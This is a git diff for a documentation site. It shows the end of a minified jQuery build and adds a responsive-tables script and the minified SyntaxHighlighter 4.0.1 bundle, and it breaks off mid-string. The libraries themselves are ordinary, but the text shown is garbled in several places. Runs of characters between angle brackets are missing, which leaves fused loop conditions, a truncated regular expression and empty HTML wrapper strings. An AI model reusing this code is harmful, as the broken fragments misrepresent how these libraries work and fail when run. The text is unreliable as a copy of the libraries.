this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(;d1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]===""&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window); \ No newline at end of file diff --git a/v5.0/javascripts/responsive-tables.js b/v5.0/javascripts/responsive-tables.js new file mode 100644 index 0000000..8554a13 --- /dev/null +++ b/v5.0/javascripts/responsive-tables.js @@ -0,0 +1,43 @@ +$(document).ready(function() { + var switched = false; + $("table").not(".syntaxhighlighter").addClass("responsive"); + var updateTables = function() { + if (($(window).width() < 767) && !switched ){ + switched = true; + $("table.responsive").each(function(i, element) { + splitTable($(element)); + }); + return true; + } + else if (switched && ($(window).width() > 767)) { + switched = false; + $("table.responsive").each(function(i, element) { + unsplitTable($(element)); + }); + } + }; + + $(window).load(updateTables); + $(window).bind("resize", updateTables); + + + function splitTable(original) + { + original.wrap("
"); + + var copy = original.clone(); + copy.find("td:not(:first-child), th:not(:first-child)").css("display", "none"); + copy.removeClass("responsive"); + + original.closest(".table-wrapper").append(copy); + copy.wrap("
"); + original.wrap("
"); + } + + function unsplitTable(original) { + original.closest(".table-wrapper").find(".pinned").remove(); + original.unwrap(); + original.unwrap(); + } + +}); diff --git a/v5.0/javascripts/syntaxhighlighter.js b/v5.0/javascripts/syntaxhighlighter.js new file mode 100644 index 0000000..584aaed --- /dev/null +++ b/v5.0/javascripts/syntaxhighlighter.js @@ -0,0 +1,20 @@ +/*! + * SyntaxHighlighter + * https://github.com/syntaxhighlighter/syntaxhighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 4.0.1 (Sun, 03 Jul 2016 06:45:54 GMT) + * + * @copyright + * Copyright (C) 2004-2016 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ + + +!function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={exports:{},id:r,loaded:!1};return e[r].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};return t.m=e,t.c=n,t.p="",t(0)}([function(e,t,n){"use strict";function r(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t["default"]=e,t}function i(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var a=n(1);Object.keys(a).forEach(function(e){"default"!==e&&Object.defineProperty(t,e,{enumerable:!0,get:function(){return a[e]}})});var s=n(28),o=i(s),l=i(a),u=n(29),c=r(u);n(30),(0,o["default"])(function(){return l["default"].highlight(c.object(window.syntaxhighlighterConfig||{}))})},function(e,t,n){"use strict";function r(e){window.alert("SyntaxHighlighter\n\n"+e)}function i(e,t){var n=h.vars.discoveredBrushes,i=null;if(null==n){n={};for(var a in h.brushes){var s=h.brushes[a],o=s.aliases;if(null!=o){s.className=s.className||s.aliases[0],s.brushName=s.className||a.toLowerCase();for(var l=0,u=o.length;u>l;l++)n[o[l]]=a}}h.vars.discoveredBrushes=n}return i=h.brushes[n[e]],null==i&&t&&r(h.config.strings.noBrush+e),i}function a(e){var t="",r=u.trim(e),i=!1,a=t.length,s=n.length;0==r.indexOf(t)&&(r=r.substring(a),i=!0);var o=r.length;return r.indexOf(n)==o-s&&(r=r.substring(0,o-s),i=!0),i?r:e}Object.defineProperty(t,"__esModule",{value:!0});var s=n(2),o=n(5),l=n(9)["default"],u=n(10),c=n(11),f=n(17),g=n(18),p=n(19),d=n(20),h={Match:o.Match,Highlighter:n(22),config:n(18),regexLib:n(3).commonRegExp,vars:{discoveredBrushes:null,highlighters:{}},brushes:{},findElements:function(e,t){var n=t?[t]:u.toArray(document.getElementsByTagName(h.config.tagName)),r=(h.config,[]);if(n=n.concat(f.getSyntaxHighlighterScriptTags()),0===n.length)return r;for(var i=0,a=n.length;a>i;i++){var o={target:n[i],params:s.defaults(s.parse(n[i].className),e)};null!=o.params.brush&&r.push(o)}return r},highlight:function(e,t){var n,r=h.findElements(e,t),u="innerHTML",m=null,x=h.config;if(0!==r.length)for(var v=0,y=r.length;y>v;v++){var m,w,b,t=r[v],E=t.target,S=t.params,C=S.brush;null!=C&&(m=i(C),m&&(S=s.defaults(S||{},p),S=s.defaults(S,g),1==S["html-script"]||1==p["html-script"]?(m=new d(i("xml"),m),C="htmlscript"):m=new m,b=E[u],x.useScriptTags&&(b=a(b)),""!=(E.title||"")&&(S.title=E.title),S.brush=C,b=c(b,S),w=o.applyRegexList(b,m.regexList,S),n=new l(b,w,S),t=f.create("div"),t.innerHTML=n.getHtml(),S.quickCode&&f.attachEvent(f.findElement(t,".code"),"dblclick",f.quickCodeHandler),""!=(E.id||"")&&(t.id=E.id),E.parentNode.replaceChild(t,E)))}}},m=0;t["default"]=h;var x=t.registerBrush=function(e){return h.brushes["brush"+m++]=e["default"]||e};t.clearRegisteredBrushes=function(){h.brushes={},m=0};x(n(23)),x(n(24)),x(n(25)),x(n(26)),x(n(27))},function(e,t,n){"use strict";function r(e){return e.replace(/-(\w+)/g,function(e,t){return t.charAt(0).toUpperCase()+t.substr(1)})}function i(e){var t=s[e];return null==t?e:t}var a=n(3).XRegExp,s={"true":!0,"false":!1};e.exports={defaults:function(e,t){for(var n in t||{})e.hasOwnProperty(n)||(e[n]=e[r(n)]=t[n]);return e},parse:function(e){for(var t,n={},s=a("^\\[(?(.*?))\\]$"),o=0,l=a("(?[\\w-]+)\\s*:\\s*(?[\\w%#-]+|\\[.*?\\]|\".*?\"|'.*?')\\s*;?","g");null!=(t=a.exec(e,l,o));){var u=t.value.replace(/^['"]|['"]$/g,"");if(null!=u&&s.test(u)){var c=a.exec(u,s);u=c.values.length>0?c.values.split(/\s*,\s*/):[]}u=i(u),n[t.name]=n[r(t.name)]=u,o=t.index+t[0].length}return n}}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0}),t.commonRegExp=t.XRegExp=void 0;var i=n(4),a=r(i);t.XRegExp=a["default"];t.commonRegExp={multiLineCComments:(0,a["default"])("/\\*.*?\\*/","gs"),singleLineCComments:/\/\/.*$/gm,singleLinePerlComments:/#.*$/gm,doubleQuotedString:/"([^\\"\n]|\\.)*"/g,singleQuotedString:/'([^\\'\n]|\\.)*'/g,multiLineDoubleQuotedString:(0,a["default"])('"([^\\\\"]|\\\\.)*"',"gs"),multiLineSingleQuotedString:(0,a["default"])("'([^\\\\']|\\\\.)*'","gs"),xmlComments:(0,a["default"])("(<|<)!--.*?--(>|>)","gs"),url:/\w+:\/\/[\w-.\/?%&=:@;#]*/g,phpScriptTags:{left:/(<|<)\?(?:=|php)?/g,right:/\?(>|>)/g,eof:!0},aspScriptTags:{left:/(<|<)%=?/g,right:/%(>|>)/g},scriptScriptTags:{left:/(<|<)\s*script.*?(>|>)/gi,right:/(<|<)\/\s*script\s*(>|>)/gi}}},function(e,t){"use strict";function n(e,t,n,r,i){var a;if(e[b]={captureNames:t},i)return e;if(e.__proto__)e.__proto__=w.prototype;else for(a in w.prototype)e[a]=w.prototype[a];return e[b].source=n,e[b].flags=r?r.split("").sort().join(""):r,e}function r(e){return S.replace.call(e,/([\s\S])(?=[\s\S]*\1)/g,"")}function i(e,t){if(!w.isRegExp(e))throw new TypeError("Type RegExp expected");var i=e[b]||{},a=s(e),l="",u="",c=null,f=null;return t=t||{},t.removeG&&(u+="g"),t.removeY&&(u+="y"),u&&(a=S.replace.call(a,new RegExp("["+u+"]+","g"),"")),t.addG&&(l+="g"),t.addY&&(l+="y"),l&&(a=r(a+l)),t.isInternalOnly||(void 0!==i.source&&(c=i.source),null!=i.flags&&(f=l?r(i.flags+l):i.flags)),e=n(new RegExp(e.source,a),o(e)?i.captureNames.slice(0):null,c,f,t.isInternalOnly)}function a(e){return parseInt(e,16)}function s(e){return M?e.flags:S.exec.call(/\/([a-z]*)$/i,RegExp.prototype.toString.call(e))[1]}function o(e){return!(!e[b]||!e[b].captureNames)}function l(e){return parseInt(e,10).toString(16)}function u(e,t){var n,r=e.length;for(n=0;r>n;++n)if(e[n]===t)return n;return-1}function c(e,t){return $.call(e)==="[object "+t+"]"}function f(e,t,n){return S.test.call(n.indexOf("x")>-1?/^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/:/^(?:\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/,e.slice(t))}function g(e){for(;e.length<4;)e="0"+e;return e}function p(e,t){var n;if(r(t)!==t)throw new SyntaxError("Invalid duplicate regex flag "+t);for(e=S.replace.call(e,/^\(\?([\w$]+)\)/,function(e,n){if(S.test.call(/[gy]/,n))throw new SyntaxError("Cannot use flag g or y in mode modifier "+e);return t=r(t+n),""}),n=0;n"}else if(i)return"\\"+(+i+n);return e};if(!c(e,"Array")||!e.length)throw new TypeError("Must provide a nonempty array of patterns to merge");for(a=0;a1&&u(s,"")>-1&&(n=i(this,{removeG:!0,isInternalOnly:!0}),S.replace.call(String(e).slice(s.index),n,function(){var e,t=arguments.length;for(e=1;t-2>e;++e)void 0===arguments[e]&&(s[e]=void 0)})),this[b]&&this[b].captureNames)for(r=1;rs.index&&(this.lastIndex=s.index)}return this.global||(this.lastIndex=a),s},C.test=function(e){return!!C.exec.call(this,e)},C.match=function(e){var t;if(w.isRegExp(e)){if(e.global)return t=S.match.apply(this,arguments),e.lastIndex=0,t}else e=new RegExp(e);return C.exec.call(e,y(this))},C.replace=function(e,t){var n,r,i,a=w.isRegExp(e);return a?(e[b]&&(r=e[b].captureNames),n=e.lastIndex):e+="",i=c(t,"Function")?S.replace.call(String(this),e,function(){var n,i=arguments;if(r)for(i[0]=new String(i[0]),n=0;na)throw new SyntaxError("Backreference to undefined group "+t);return e[a+1]||""}if("$"===i)return"$";if("&"===i||0===+i)return e[0];if("`"===i)return e[e.length-1].slice(0,e[e.length-2]);if("'"===i)return e[e.length-1].slice(e[e.length-2]+e[0].length);if(i=+i,!isNaN(i)){if(i>e.length-3)throw new SyntaxError("Backreference to undefined group "+t);return e[i]||""}throw new SyntaxError("Invalid token 